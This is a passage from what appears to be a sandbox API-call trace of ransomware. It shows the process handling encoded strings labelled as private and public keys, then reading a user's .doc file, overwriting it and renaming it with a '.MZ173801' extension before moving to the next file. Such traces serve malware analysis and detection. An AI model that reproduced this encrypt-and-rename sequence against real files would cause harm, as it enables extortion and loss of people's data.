AzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0177.324] GetCurrentThreadId () returned 0xab4 [0177.324] GetCurrentThreadId () returned 0xab4 [0177.324] GetCurrentThreadId () returned 0xab4 [0177.325] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0177.325] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0177.325] GetCurrentThreadId () returned 0xab4 [0177.325] GetCurrentThreadId () returned 0xab4 [0177.325] GetCurrentThreadId () returned 0xab4 [0177.325] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\lOp2Pc8PoOE5fYa7j.doc" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\lop2pc8pooe5fya7j.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0177.325] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0177.325] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0177.325] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x4177 [0177.326] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0177.326] ReadFile (in: hFile=0x32c, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x4177, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19f74c*=0x4177, lpOverlapped=0x0) returned 1 [0177.327] CloseHandle (hObject=0x32c) returned 1 [0177.327] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\lOp2Pc8PoOE5fYa7j.doc" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\lop2pc8pooe5fya7j.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0177.329] WriteFile (in: hFile=0x32c, lpBuffer=0x24a6040*, nNumberOfBytesToWrite=0x4177, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24a6040*, lpNumberOfBytesWritten=0x19f758*=0x4177, lpOverlapped=0x0) returned 1 [0177.330] CloseHandle (hObject=0x32c) returned 1 [0177.555] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\lOp2Pc8PoOE5fYa7j.doc" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\lop2pc8pooe5fya7j.doc"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\lOp2Pc8PoOE5fYa7j.doc.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\lop2pc8pooe5fya7j.doc.mz173801")) returned 1 [0177.714] GetCurrentThreadId () returned 0xab4 [0177.714] GetCurrentThreadId () returned 0xab4 [0177.714] GetCurrentThreadId () returned 0xab4 [0177.714] GetCurrentThreadId () returned 0xab4 [0177.714] GetCurrentThreadId () returned 0xab4 [0177.714] GetCurrentThreadId () returned 0xab4 [0177.714] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb814fe40, ftCreationTime.dwHighDateTime=0x1d5e857, ftLastAccessTime.dwLowDateTime=0xe7db1020, ftLastAccessTime.dwHighDateTime=0x1d5ea59, ftLastWriteTime.dwLowDateTime=0xe7db1020, ftLastWriteTime.dwHighDateTime=0x1d5ea59, nFileSizeHigh=0x0, nFileSizeLow=0x964f, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="nb3RjEHaW-jlbqfMSzr.gif", cAlternateFileName="NB3RJE~1.GIF")) returned 1 [0177.714] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0177.714] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0177.714] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\nb3RjEHaW-jlbqfMSzr.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\nb3rjehaw-jlbqfmszr.gif"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb814fe40, ftCreationTime.dwHighDateTime=0x1d5e857, ftLastAccessTime.dwLowDateTime=0xe7db1020, ftLastAccessTime.dwHighDateTime=0x1d5ea59, ftLastWriteTime.dwLowDateTime=0xe7db1020, ftLastWriteTime.dwHighDateTime=0x1d5ea59, nFileSizeHigh=0x0, nFileSizeLow=0x964f)) returned 1 [0177.715] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\nb3RjEHaW-jlbqfMSzr.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\nb3rjehaw-jlbqfmszr.gif")) returned 0x20 [0177.715] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\nb3RjEHaW-jlbqfMSzr.gif", dwFileAttributes=0x80) returned 1 [0177.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0177.800] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw